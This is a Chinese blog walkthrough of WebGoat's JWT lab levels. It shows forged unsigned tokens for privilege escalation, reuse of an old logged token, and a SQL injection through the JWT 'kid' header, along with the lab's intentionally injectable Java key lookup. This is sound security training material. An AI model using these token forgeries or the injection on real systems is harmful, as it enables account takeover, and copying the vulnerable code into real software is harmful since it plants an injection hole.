当前位置 : 主页 > 编程语言 > 其它开发 >

JWT漏洞复现

来源:互联网 收集:自由互联 发布时间:2022-07-05
JWT(数字签名验证) 漏洞复现 JWT 数字签名验证 漏洞复现 准备工作 概述 JSON Web Token (JWT) 是一个开放标准 ( RFC 7519 ),它定义了一种紧凑且自包含的方式, 用于在各方之间以 JSON 对象的
JWT(数字签名验证) 漏洞复现

JWT 数字签名验证 漏洞复现

准备工作

概述

JSON Web Token (JWT) 是一个开放标准 ( RFC 7519 ),它定义了一种紧凑且自包含的方式,用于在各方之间以 JSON 对象的形式安全传输信息
此信息可以验证和信任,因为它是数字签名的。JWT 可以使用密钥(使用HMAC算法)或使用RSAECDSA的公钥/私钥对进行签名。

JWT通常分为三部分:
头部(Header),声明(Claims),签名(Signature)
三个部分以英文句号.隔开
JWT的内容以Base64URL编码的形式存在

靶场搭建

项目地址: https://hub.docker.com/r/webgoat/webgoat-8.0/
拉取:docker pull webgoat/webgoat-8.0
启动:docker run -p 映射端口:8080 -t webgoat/webgoat-8.0

准备工具

jwt在线解密:https://jwt.io/
时间戳生成网址:https://tool.chinaz.com/tools/unixtime.aspx
image.png

访问地址

http://ip+端口/WebGoat/login

第四关

摘要

一个重要的步骤是在执行任何其他操作之前验证签名,让我们尝试查看在验证令牌之前需要注意的一些事项。

任务

尝试更改您收到的令牌并通过更改令牌成为管理员用户,一旦您成为管理员,请重置投票

  1. 这是一个投票系统,我们点击重置投票,进行抓包

image.png

  1. 通过抓包重发,我们得到一串经由JWT技术加密后的身份信息

image.png
JWT特征:算法+有效载荷(数据)+验证签名(密码)

  1. 讲数据放进JWT在线解密平台进行验证

image.png
观察解密右侧信息,依次对应现在请求包的用户信息

  1. 尝试更改用户名,admin身份改为ture

image.png
这里更改时 要注意时间戳

**pyload: **eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2NTcwNjk4MDksImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.

image.png
image.png

  1. 拦截请求包重放,使数据更改(垂直越权

通过Tom用户,更改请求信息,使tom用户拥有admin的权限,使投票刷新
image.png

第五关

摘要

使用带有 SHA-2 功能的 HMAC,您可以使用密钥来签署和验证令牌。一旦我们找出这个密钥,我们就可以创建一个新的令牌并对其进行签名。因此,密钥足够强大非常重要,因此暴力或字典攻击是不可行的。获得令牌后,您可以开始离线暴力破解或字典攻击。

任务

鉴于我们有以下令牌,尝试找出密钥并提交一个将用户名更改为 WebGoat 的新密钥。

eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY1NjIwNTczNSwiZXhwIjoxNjU2MjA1Nzk1LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.HpiCjMv9dJKS1aLRzGmsQEdUZDWOlzRHf5mnCX6_uNM

  1. 通过JWT在线解密平台查看

image.png

  1. 观察上图,我们尝试更改tom的值为WebGoat

payload:
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY1NjIwNTczNSwiZXhwIjoxNzU2MjA1Nzk1LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0Lm9yZyIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.

image.png
第五关,生成JWT验证令牌时需注意一下几点:

  1. 更改用户名为WebGoat
  2. 更改exp时间戳为当前系统时间之后(有时间验证)
  3. 验证签名,即密码为空,我们只用复制算法和有效数据就好了

image.png

第七关

摘要

实施一个好的策略来刷新访问令牌是很重要的。此作业基于在 Bugcrowd 上的私人错误赏金计划中发现的漏洞,您可以在此处阅读完整的文章

任务

由于去年的违规行为,此处提供了以下日志文件 你能找到一种方法来订购书籍但让汤姆为它们付费吗?

  1. 查看日志文件

通过观察日志文件,这是一串tom在2016年的一份JWT加密形式的身份令牌
image.png

  1. 综上我们可以利用这一串令牌,为tom创建一个新的权限

image.png
通过BP抓包可以看到请求包中,有一信息,授权书为空。我们将日志里的身份修改时间戳代入这里
image.png

  1. 用修改过后的payload 带入bp中,并重放包

Payload:
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTgyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.

image.png

  1. 完成任务!

image.png

第八关

摘要

最后的挑战

任务

下面您会看到两个帐户,一个是 Jerry,一个是 Tom。Jerry 想从 Twitter 上删除 Toms 的帐户,但他的令牌只能删除他自己的帐户。你能试着帮助他并删除汤姆斯的账户吗?
image.png

  1. 对删除Tom的包进行抓包

image.png
原始Token内容

#Token:
leSIsImFsZyI6IkhTMjU2In0.
eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQs
ImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJy
eUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5
QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.
CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8 


HEADER:ALGORITHM & TOKEN TYPE

{
  "typ": "JWT",
  "kid": "webgoat_key",
  "alg": "HS256"
}
PAYLOAD:DATA

8
{
  "iss": "WebGoat Token Builder",
  "iat": 1524210904,
  "exp": 1618905304,
  "aud": "webgoat.org",
  "sub": "jerry@webgoat.com",
  "username": "Jerry",
  "Email": "jerry@webgoat.com",
  "Role": [
    "Cat"
  ]
}
VERIFY SIGNATURE

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  

) secret base64 encoded
  1. 观察源码

从下面源码进行分析,可以看到JWT的签名验证是从数据库中读取的,但是获取数据库盐的值的地方传入的参数kid并没有进行任何的过滤,这样就可以使用注入来伪造一个JWT的签名,从而达到伪造目的

AttackResult resetVotes(@RequestParam("token") String token) {
    if (StringUtils.isEmpty(token)) {
        return trackProgress(failed().feedback("jwt-invalid-token").build());
    } else {
        try {
            final String[] errorMessage = {null};
            Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
                @Override
                public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
                    final String kid = (String) header.get("kid");
                    try {
                        Connection connection = DatabaseUtilities.getConnection(webSession);
                        ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
                        while (rs.next()) {
                            return TextCodec.BASE64.decode(rs.getString(1));
                        }
                    } catch (SQLException e) {
                        errorMessage[0] = e.getMessage();
                    }
                    return null;
                }
            }).parse(token);
            if (errorMessage[0] != null) {
                return trackProgress(failed().output(errorMessage[0]).build());
            }
            Claims claims = (Claims) jwt.getBody();
            String username = (String) claims.get("username");
            if ("Jerry".equals(username)) {
                return trackProgress(failed().feedback("jwt-final-jerry-account").build());
            }
            if ("Tom".equals(username)) {
                return trackProgress(success().build());
            } else {
                return trackProgress(failed().feedback("jwt-final-not-tom").build());
            }
        } catch (JwtException e) {
            return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build());
        }
    }
}
  1. Token构造查询语句,更改身份为Tom

"'; select 'MQ==' from jwt_keys --"
image.png

  1. 利用前提:
  • 利用SQL注入,构造查询语句
  • 更改用户名为Tom (这一关中,只能自己删自己)
  • 验证签名更改为1 与 sql语句联动

Payload:
eyJ0eXAiOiJKV1QiLCJraWQiOiInOyBzZWxlY3QgJ01RPT0nIGZyb20gand0X2tleXMgLS0iLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTY1NjIxMTA4OCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.cOM5Nv_5Tpjj7eqadQRRFfPv2Rn8zRRisJoQIe1JJ7g

  1. 重新发包完成

image.png

上一篇:leetcode 72. Edit Distance 编辑距离(中等)
下一篇:没有了
网友评论